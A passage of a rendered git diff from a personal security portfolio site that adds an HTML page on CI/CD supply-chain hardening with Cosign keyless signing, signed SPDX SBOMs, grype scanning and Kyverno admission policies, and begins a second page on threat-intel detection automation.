| @@ -2,7 +2,7 @@ | ||
| Landing page for my security engineering projects. | ||
| - | **Live at: https://security-portfolio-6ci.pages.dev/** | |
| + | **Live at: https://zionboggan.com** | |
| It's a single static `index.html` - no build step. | ||
| @@ -0,0 +1,329 @@ | ||
| + | <!doctype html> | |
| + | <html lang="en"> | |
| + | <head> | |
| + | <meta charset="utf-8"> | |
| + | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| + | <title>CI/CD Supply-Chain Security | Zion Boggan</title> | |
| + | <meta name="description" content="Proves the artifact, not just the source: keyless Cosign signing, a signed SPDX SBOM, grype scanning, and a Kyverno admission policy that refuses anything it can&#x27;t verify."> | |
| + | <link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E"> | |
| + | <style> | |
| + | :root{ | |
| + | --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24; | |
| + | --line:#222936; --line2:#2c3543; | |
| + | --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675; | |
| + | --accent:#6cc7b8; --accent-dim:#274b47; | |
| + | --maxw:1020px; | |
| + | } | |
| + | *{box-sizing:border-box;} | |
| + | html{scroll-behavior:smooth;} | |
| + | body{margin:0;background:var(--bg);color:var(--ink); | |
| + | font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif; | |
| + | font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;} | |
| + | .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;} | |
| + | a{color:var(--accent);text-decoration:none;} | |
| + | a:hover{color:#8fe0d2;} | |
| + | .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;} | |
| + | ||
| + | /* nav */ | |
| + | nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82); | |
| + | backdrop-filter:blur(10px);border-bottom:1px solid var(--line);} | |
| + | nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;} | |
| + | nav .brand{font-weight:600;letter-spacing:.2px;} | |
| + | nav .brand .dot{color:var(--accent);} | |
| + | nav .links{display:flex;gap:26px;font-size:13.5px;} | |
| + | nav .links a{color:var(--muted);} | |
| + | nav .links a:hover{color:var(--ink);} | |
| + | @media(max-width:680px){nav .links{display:none;}} | |
| + | ||
| + | /* hero */ | |
| + | header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line); | |
| + | background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);} | |
| + | .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent); | |
| + | display:flex;align-items:center;gap:9px;margin-bottom:20px;} | |
| + | .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent); | |
| + | box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;} | |
| + | @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}} | |
| + | h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;} | |
| + | .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;} | |
| + | .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;} | |
| + | .hero .lede b{color:var(--ink);font-weight:600;} | |
| + | .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;} | |
| + | .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px; | |
| + | font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);} | |
| + | .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);} | |
| + | .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;} | |
| + | .btn.primary:hover{background:#8fe0d2;color:#06231f;} | |
| + | .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);} | |
| + | .meta .mono{color:var(--faint);} | |
| + | ||
| + | /* sections */ | |
| + | section{padding:64px 0;border-bottom:1px solid var(--line);} | |
| + | .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;} | |
| + | .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;} | |
| + | .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;} | |
| + | .shead .rule{flex:1;height:1px;background:var(--line);} | |
| + | ||
| + | /* flagship */ | |
| + | .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%); | |
| + | border:1px solid var(--line2);border-radius:14px;overflow:hidden;} | |
| + | .flag .top{padding:30px 32px 8px;} | |
| + | .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;} | |
| + | .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;} | |
| + | .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;} | |
| + | .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;} | |
| + | .flag p{color:var(--soft);margin:0 0 16px;} | |
| + | .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;} | |
| + | .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;} | |
| + | .stat .n{font-size:21px;font-weight:680;color:var(--ink);} | |
| + | .stat .k{font-size:12px;color:var(--muted);margin-top:2px;} | |
| + | .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;} | |
| + | .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;} | |
| + | .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;} | |
| + | .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;} | |
| + | .spec li:first-child{border-top:none;} | |
| + | .spec li span{color:var(--muted);} | |
| + | .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;} | |
| + | @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}} | |
| + | ||
| + | /* lab cards */ | |
| + | .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;} | |
| + | @media(max-width:680px){.cards{grid-template-columns:1fr;}} | |
| + | .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel); | |
| + | display:flex;flex-direction:column;transition:border-color .15s,transform .15s;} | |
| + | .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);} | |
| + | .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;} | |
| + | .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;} | |
| + | .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;} | |
| + | .card h3{margin:0 0 9px;font-size:17px;} | |
| + | .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;} | |
| + | .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;} | |
| + | .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line); | |
| + | border-radius:5px;padding:3px 8px;} | |
| + | .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .card .lnk::after{content:" →";} | |
| + | ||
| + | /* research */ | |
| + | .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;} | |
| + | .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center; | |
| + | padding:18px 22px;border-top:1px solid var(--line);} | |
| + | .ritem:first-child{border-top:none;} | |
| + | .ritem:hover{background:var(--panel);} | |
| + | .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);} | |
| + | .ritem h3{margin:0 0 3px;font-size:16px;} | |
| + | .ritem p{margin:0;font-size:13.5px;color:var(--muted);} | |
| + | .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;} | |
| + | @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}} | |
| + | .progs{margin-top:22px;} | |
| + | .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;} | |
| + | .progs .row{display:flex;flex-wrap:wrap;gap:7px;} | |
| + | .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line); | |
| + | border-radius:6px;padding:4px 10px;} | |
| + | ||
| + | /* credentials */ | |
| + | .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;} | |
| + | @media(max-width:680px){.cred{grid-template-columns:1fr;}} | |
| + | .cred p{color:var(--soft);margin:0 0 14px;} | |
| + | .cred .role{font-size:14px;color:var(--muted);} | |
| + | .cred .role b{color:var(--ink);font-weight:600;} | |
| + | .certs{list-style:none;margin:0;padding:0;} | |
| + | .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft); | |
| + | display:flex;gap:10px;align-items:baseline;} | |
| + | .certs li:first-child{border-top:none;} | |
| + | .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;} | |
| + | ||
| + | footer{padding:46px 0 64px;} | |
| + | footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;} | |
| + | footer .links a{color:var(--soft);margin-right:20px;font-size:14px;} | |
| + | footer .note{color:var(--faint);font-size:12.5px;max-width:520px;} | |
| + | ||
| + | /* detail pages */ | |
| + | .detail-hero{padding:40px 0 28px;} | |
| + | .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:22px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .back:hover{color:var(--ink);} | |
| + | .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .detail-hero h1{font-size:clamp(28px,5vw,42px);margin:0 0 12px;letter-spacing:-.6px;} | |
| + | .detail-hero .tagline{font-size:clamp(16px,2.2vw,19px);color:var(--soft);max-width:780px;margin:0 0 18px;} | |
| + | .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(148px,1fr));gap:12px;margin-top:24px;} | |
| + | figure{margin:0;} | |
| + | .shot{border:1px solid var(--line2);border-radius:12px;overflow:hidden;background:#fff;margin:30px 0 6px;} | |
| + | .shot img,.shot video{display:block;width:100%;height:auto;} | |
| + | figcaption{font-size:13px;color:var(--muted);margin:11px 2px 0;} | |
| + | .content{padding:6px 0 0;} | |
| + | .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:44px 0 16px;font-weight:600;border-top:1px solid var(--line);padding-top:30px;} | |
| + | .content h2.first{border-top:none;padding-top:6px;margin-top:18px;} | |
| + | .content p{color:var(--soft);margin:0 0 16px;} | |
| + | .content ul,.content ol{color:var(--soft);margin:0 0 16px;padding-left:22px;} | |
| + | .content li{margin:6px 0;} | |
| + | .content strong{color:var(--ink);font-weight:600;} | |
| + | .content code{font-family:ui-monospace,Menlo,monospace;font-size:13px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);} | |
| + | .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;} | |
| + | .content pre code{background:none;border:none;padding:0;font-size:12.5px;color:var(--soft);line-height:1.62;} | |
| + | .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.5px;} | |
| + | .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;} | |
| + | .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;} | |
| + | .content td code{font-size:12px;} | |
| + | .gallery{margin-top:8px;} | |
| + | .repo-line{margin:42px 0 0;color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | </style> | |
| + | <!--SEO--> | |
| + | <link rel="canonical" href="https://zionboggan.com/cicd-supply-chain-security/"> | |
| + | <meta name="author" content="Zion Boggan"> | |
| + | <meta name="robots" content="index, follow, max-image-preview:large"> | |
| + | <meta property="og:type" content="article"> | |
| + | <meta property="og:site_name" content="Zion Boggan"> | |
| + | <meta property="og:title" content="CI/CD Supply-Chain Security | Zion Boggan"> | |
| + | <meta property="og:description" content="Proves the artifact, not just the source: keyless Cosign signing, a signed SPDX SBOM, grype scanning, and a Kyverno admission policy that refuses anything it can&#x27;t verify."> | |
| + | <meta property="og:url" content="https://zionboggan.com/cicd-supply-chain-security/"> | |
| + | <meta property="og:image" content="https://zionboggan.com/assets/cicd-supply-chain-security/01-cosign-sign-verify.png"> | |
| + | <meta name="twitter:card" content="summary_large_image"> | |
| + | <meta name="twitter:title" content="CI/CD Supply-Chain Security | Zion Boggan"> | |
| + | <meta name="twitter:description" content="Proves the artifact, not just the source: keyless Cosign signing, a signed SPDX SBOM, grype scanning, and a Kyverno admission policy that refuses anything it can&#x27;t verify."> | |
| + | <meta name="twitter:image" content="https://zionboggan.com/assets/cicd-supply-chain-security/01-cosign-sign-verify.png"> | |
| + | <script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"CI/CD Supply-Chain Security","description":"Proves the artifact, not just the source: keyless Cosign signing, a signed SPDX SBOM, grype scanning, and a Kyverno admission policy that refuses anything it can&#x27;t verify.","url":"https://zionboggan.com/cicd-supply-chain-security/","image":"https://zionboggan.com/assets/cicd-supply-chain-security/01-cosign-sign-verify.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script> | |
| + | <!--/SEO--> | |
| + | </head> | |
| + | <body> | |
| + | <nav><div class="wrap"> | |
| + | <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a> | |
| + | <span class="links"> | |
| + | <a href="/#oversight">Oversight</a> | |
| + | <a href="/#labs">Labs</a> | |
| + | <a href="/#research">Research</a> | |
| + | <a href="/#background">Background</a> | |
| + | <a href="/">Home</a> | |
| + | </span> | |
| + | </div></nav> | |
| + | <header class="hero detail-hero"><div class="wrap"> | |
| + | <a class="back" href="/#labs">← All work</a> | |
| + | <div class="kicker">SUPPLY CHAIN</div> | |
| + | <h1>CI/CD Supply-Chain Security</h1> | |
| + | <p class="tagline">Proves the artifact, not just the source: keyless Cosign signing, a signed SPDX SBOM, grype scanning, and a Kyverno admission policy that refuses anything it can't verify.</p> | |
| + | <div class="tags"><span>Cosign</span><span>Sigstore</span><span>syft</span><span>grype</span><span>Kyverno</span><span>Rekor</span><span>Fulcio</span><span>GitHub Actions</span><span>GHCR</span><span>SPDX</span></div> | |
| + | <div class="facts"><div class="stat"><div class="n">4</div><div class="k">Chained CI jobs: build, scan, sign, verify</div></div><div class="stat"><div class="n">0</div><div class="k">Private keys to store (keyless Fulcio OIDC)</div></div><div class="stat"><div class="n">SPDX</div><div class="k">SBOM format (spdx-json), signed as attestation</div></div><div class="stat"><div class="n">high</div><div class="k">grype severity-cutoff that fails the build</div></div><div class="stat"><div class="n">2</div><div class="k">Kyverno rules: signature + SBOM, both required</div></div><div class="stat"><div class="n">1.12.5</div><div class="k">Kyverno CLI pinned for policy tests in CI</div></div></div> | |
| + | <div class="cta" style="margin-top:24px"></div> | |
| + | </div></header> | |
| + | <section><div class="wrap"> | |
| + | <figure class="shot"><img loading="lazy" src="/assets/cicd-supply-chain-security/01-cosign-sign-verify.png" alt="Cosign sign and verify mechanics, and the rejection that follows the moment a signed artifact is modified."></figure><figcaption>Cosign sign and verify mechanics, and the rejection that follows the moment a signed artifact is modified.</figcaption> | |
| + | <div class="content"> | |
| + | <h2>Keyless signing with Sigstore</h2> | |
| + | <p>There is no private key to manage or leak. Cosign requests a short-lived certificate from Fulcio bound to the GitHub Actions OIDC identity (<code>https://github.com/<owner>/<repo></code>), signs the image, and logs the signature to the Rekor transparency log. That is why the workflow requests <code>id-token: write</code> — without it there is no OIDC token to exchange for a signing certificate. The <code>sign</code> job runs verbatim:</p><pre><code>- name: sign image keyless | |
| + | run: cosign sign --yes ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}@${{ needs.build.outputs.digest }} | |
| + | ||
| + | - uses: actions/download-artifact@v4 | |
| + | with: | |
| + | name: sbom | |
| + | ||
| + | - name: attach sbom attestation | |
| + | run: | | |
| + | cosign attest --yes \ | |
| + | --predicate sbom.spdx.json \ | |
| + | --type spdxjson \ | |
| + | ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}@${{ needs.build.outputs.digest }}</code></pre><p>Verification checks the certificate <strong>identity</strong> and <strong>issuer</strong> rather than a key you have to rotate. An image built somewhere else simply cannot produce a signature from this repo's identity.</p> | |
| + | <h2>SBOM + scanning</h2> | |
| + | <p>After the image is built and pushed to GHCR by digest, the <code>scan</code> job uses Anchore's <code>syft</code> to generate an SPDX-JSON SBOM from the actual pushed image, then <code>grype</code> scans that image. The build fails on any high or critical CVE, so an unsigned-and-vulnerable image never reaches the registry as a release. Both steps target the digest, not the tag:</p><pre><code>- id: sbom | |
| + | uses: anchore/sbom-action@v0 | |
| + | with: | |
| + | image: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}@${{ needs.build.outputs.digest }} | |
| + | format: spdx-json | |
| + | output-file: sbom.spdx.json | |
| + | ||
| + | - uses: anchore/scan-action@v5 | |
| + | id: grype | |
| + | with: | |
| + | image: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}@${{ needs.build.outputs.digest }} | |
| + | fail-build: true | |
| + | severity-cutoff: high</code></pre><p>The same two tools drive local reproduction through the <code>Makefile</code> — <code>syft $(IMAGE) -o spdx-json=sbom.spdx.json</code> for the SBOM and <code>grype $(IMAGE) --fail-on high</code> for the scan — so the gate behaves identically on a laptop and in CI. The resulting <code>sbom.spdx.json</code> is uploaded as a workflow artifact and handed to the <code>sign</code> job, which attaches it as a signed Cosign attestation of type <code>spdxjson</code>, tying the contents to the same OIDC identity that signed the image.</p> | |
| + | <h2>In-pipeline verification (fail-closed)</h2> | |
| + | <p>Signing isn't trusted on faith. A dedicated <code>verify</code> job depends on both <code>build</code> and <code>sign</code> and re-checks the signature and the SBOM attestation against the certificate identity and issuer before the run is considered successful. If either check fails, the job exits non-zero and the run is red:</p><pre><code>- name: verify signature and provenance | |
| + | run: | | |
| + | cosign verify \ | |
| + | --certificate-identity-regexp "^https://github.com/${{ github.repository_owner }}/" \ | |
| + | --certificate-oidc-issuer https://token.actions.githubusercontent.com \ | |
| + | ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}@${{ needs.build.outputs.digest }} | |
| + | ||
| + | - name: verify sbom attestation | |
| + | run: | | |
| + | cosign verify-attestation \ | |
| + | --type spdxjson \ | |
| + | --certificate-identity-regexp "^https://github.com/${{ github.repository_owner }}/" \ | |
| + | --certificate-oidc-issuer https://token.actions.githubusercontent.com \ | |
| + | ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}@${{ needs.build.outputs.digest }}</code></pre><p>Verification is matched against a <strong>regexp</strong> on the certificate subject (<code>^https://github.com/<owner>/</code>) and an exact OIDC issuer (<code>https://token.actions.githubusercontent.com</code>). There is no anonymous or unverified path: an image with no signature, a signature from a different identity, or a missing SBOM attestation all produce a non-zero exit. The same logic is factored into <code>policy/verify.sh</code> for verifying any image by hand.</p> | |
| + | <h2>Kyverno admission policy</h2> | |
| + | <p><code>policy/kyverno-verify-images.yaml</code> is a Kyverno <code>ClusterPolicy</code> in <code>Enforce</code> mode (<code>failurePolicy: Fail</code>, <code>background: false</code>) that gates every Pod whose image matches <code>ghcr.io/zionboggan/*</code>. The first rule requires a keyless Cosign signature verified against the public Rekor instance, rewrites the tag to a digest on admission, and marks the check <code>required: true</code>:</p><pre><code>spec: | |
| + | validationFailureAction: Enforce | |
| + | webhookTimeoutSeconds: 30 | |
| + | failurePolicy: Fail | |
| + | background: false | |
| + | rules: | |
| + | - name: check-cosign-signature | |
| + | match: | |
| + | any: | |
| + | - resources: | |
| + | kinds: | |
| + | - Pod | |
| + | verifyImages: | |
| + | - imageReferences: | |
| + | - "ghcr.io/zionboggan/*" | |
| + | attestors: | |
| + | - count: 1 | |
| + | entries: | |
| + | - keyless: | |
| + | subject: "https://github.com/zionboggan/*" | |
| + | issuer: "https://token.actions.githubusercontent.com" | |
| + | rekor: | |
| + | url: https://rekor.sigstore.dev | |
| + | mutateDigest: true | |
| + | verifyDigest: true | |
| + | required: true</code></pre><p>The second rule, <code>require-sbom-attestation</code>, demands an SPDX attestation (<code>type: https://spdx.dev/Document</code>) from that same keyless identity, so no image is admitted without a verifiable bill of materials:</p><pre><code> - name: require-sbom-attestation | |
| + | match: | |
| + | any: | |
| + | - resources: | |
| + | kinds: | |
| + | - Pod | |
| + | verifyImages: | |
| + | - imageReferences: | |
| + | - "ghcr.io/zionboggan/*" | |
| + | attestations: | |
| + | - type: https://spdx.dev/Document | |
| + | attestors: | |
| + | - count: 1 | |
| + | entries: | |
| + | - keyless: | |
| + | subject: "https://github.com/zionboggan/*" | |
| + | issuer: "https://token.actions.githubusercontent.com"</code></pre><p>Because <code>mutateDigest: true</code> rewrites tags to digests at admission, a Pod can't be pinned to a tag that later moves. A signed image from the pipeline is admitted; an arbitrary <code>nginx:latest</code> is rejected.</p> | |
| + | <h2>Tamper detection</h2> | |
| + | <p>The moment a signed artifact is modified, the signature no longer matches the digest and verification is rejected. The demo re-tags or rebuilds the image so its content (and therefore its digest) changes, then runs the same verifier — which now fails because no Fulcio certificate in Rekor is bound to the new digest:</p><pre><code>$ cosign verify \ | |
| + | --certificate-identity-regexp "^https://github.com/zionboggan/" \ | |
| + | --certificate-oidc-issuer https://token.actions.githubusercontent.com \ | |
| + | ghcr.io/zionboggan/cicd-supply-chain-security@sha256:<tampered-digest> | |
| + | Error: no matching signatures: | |
| + | ||
| + | main.go:74: error during command execution: no matching signatures:</code></pre><p>The screenshot below demonstrates the same mechanics offline with a local key pair: a valid <code>cosign verify</code> against the signed image, then the rejection the instant the artifact is altered. Because every step — build output, scan target, sign, attest, verify, and the Kyverno admission rewrite — operates on <code>@sha256:...</code>, signing a tag never silently degrades to signing a mutable pointer, and tampering is always caught at the digest boundary.</p> | |
| + | <h2>Tamper resistance and transparency</h2> | |
| + | <p>This layer defends against the attacks where the source is fine but the artifact isn't, and each maps to a concrete control:</p><table><thead><tr><th>Attack</th><th>Control</th></tr></thead><tbody><tr><td>Registry account compromised, tag repointed at a malicious image</td><td>Kyverno resolves tags to digests on admission and requires a signature over that digest; moving a tag doesn't move the signature</td></tr><tr><td>Build runner tampered with, producing a backdoored image</td><td>Signature is tied to the workflow's OIDC identity; an image built elsewhere can't sign as <code>https://github.com/zionboggan/...</code></td></tr><tr><td>Dependency with a known high/critical CVE pulled at build time</td><td>grype scans the built image and fails the build before signing happens</td></tr><tr><td>Image deployed whose contents nobody can account for</td><td>SPDX SBOM generated from the actual image, signed as an attestation, required at admission — no SBOM, no deploy</td></tr></tbody></table><p>Every signature and attestation is recorded in Rekor, giving an append-only, auditable record of what was signed, by which identity, and when. If a signing identity is ever misused, the log is where you would find every artifact it touched.</p> | |
| + | <h2>Testing the policy in CI</h2> | |
| + | <p>A separate <code>admission-policy-check</code> workflow runs on pull requests that touch <code>policy/**</code>. It installs a pinned Kyverno CLI (<code>v1.12.5</code>) and runs the policy against <code>policy/test/pods.yaml</code>, which contains one signed Pod (<code>ghcr.io/zionboggan/cicd-supply-chain-security</code>) and one unsigned <code>docker.io/library/nginx:latest</code> Pod, so the allow and deny paths are both exercised before the policy can change:</p><pre><code>- name: install kyverno cli | |
| + | run: | | |
| + | curl -sLo kyverno.tar.gz https://github.com/kyverno/kyverno/releases/download/v1.12.5/kyverno-cli_v1.12.5_linux_x86_64.tar.gz | |
| + | tar -xzf kyverno.tar.gz kyverno | |
| + | sudo install kyverno /usr/local/bin/ | |
| + | ||
| + | - name: validate policy | |
| + | run: kyverno apply policy/kyverno-verify-images.yaml --resource policy/test/pods.yaml</code></pre><p>The same steps are wired into the <code>Makefile</code> targets (<code>build</code>, <code>sbom</code>, <code>scan</code>, <code>sign</code>, <code>verify</code>, <code>policy-test</code>) for local reproduction, with <code>policy-test</code> calling the identical <code>kyverno apply</code> invocation.</p> | |
| + | </div> | |
| + | ||
| + | <p class="repo-line">Repository · github.com/zionboggan/cicd-supply-chain-security</p> | |
| + | </div></section> | |
| + | <footer><div class="wrap row"> | |
| + | <div class="links"> | |
| + | <a href="/">Portfolio</a> | |
| + | <a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a> | |
| + | <a href="https://oversightprotocol.dev/">Oversight</a> | |
| + | <a href="mailto:zionboggan0@gmail.com">Email</a> | |
| + | </div> | |
| + | <div class="note">Built and deployed on a self-hosted Proxmox homelab. This page mirrors the | |
| + | project's documentation and results so the work is fully viewable here.</div> | |
| + | </div></footer> | |
| + | </body> | |
| + | </html> |
| @@ -0,0 +1,387 @@ | ||
| + | <!doctype html> | |
| + | <html lang="en"> | |
| + | <head> | |
| + | <meta charset="utf-8"> | |
| + | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| + | <title>CTI Detection Automation | Zion Boggan</title> | |
| + | <meta name="description" content="Pulls indicators from five live threat-intel feeds, dedupes across them, extracts the MITRE techniques, generates Wazuh CDB lists and a tagged XML ruleset, then emails an analyst a signed, single-use review link before anything reaches the SIEM."> | |
| + | <link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E"> | |
| + | <style> | |
| + | :root{ | |
| + | --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24; | |
| + | --line:#222936; --line2:#2c3543; | |
| + | --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675; | |
| + | --accent:#6cc7b8; --accent-dim:#274b47; | |
| + | --maxw:1020px; | |
| + | } | |
| + | *{box-sizing:border-box;} | |
| + | html{scroll-behavior:smooth;} | |
| + | body{margin:0;background:var(--bg);color:var(--ink); | |
| + | font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif; | |
| + | font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;} | |
| + | .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;} | |
| + | a{color:var(--accent);text-decoration:none;} | |
| + | a:hover{color:#8fe0d2;} | |
| + | .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;} | |
| + | ||
| + | /* nav */ | |
| + | nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82); | |
| + | backdrop-filter:blur(10px);border-bottom:1px solid var(--line);} | |
| + | nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;} | |
| + | nav .brand{font-weight:600;letter-spacing:.2px;} | |
| + | nav .brand .dot{color:var(--accent);} | |
| + | nav .links{display:flex;gap:26px;font-size:13.5px;} | |
| + | nav .links a{color:var(--muted);} | |
| + | nav .links a:hover{color:var(--ink);} | |
| + | @media(max-width:680px){nav .links{display:none;}} | |
| + | ||
| + | /* hero */ | |
| + | header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line); | |
| + | background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);} | |
| + | .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent); | |
| + | display:flex;align-items:center;gap:9px;margin-bottom:20px;} | |
| + | .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent); | |
| + | box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;} | |
| + | @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}} | |
| + | h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;} | |
| + | .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;} | |
| + | .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;} | |
| + | .hero .lede b{color:var(--ink);font-weight:600;} | |
| + | .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;} | |
| + | .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px; | |
| + | font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);} | |
| + | .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);} | |
| + | .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;} | |
| + | .btn.primary:hover{background:#8fe0d2;color:#06231f;} | |
| + | .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);} | |
| + | .meta .mono{color:var(--faint);} | |
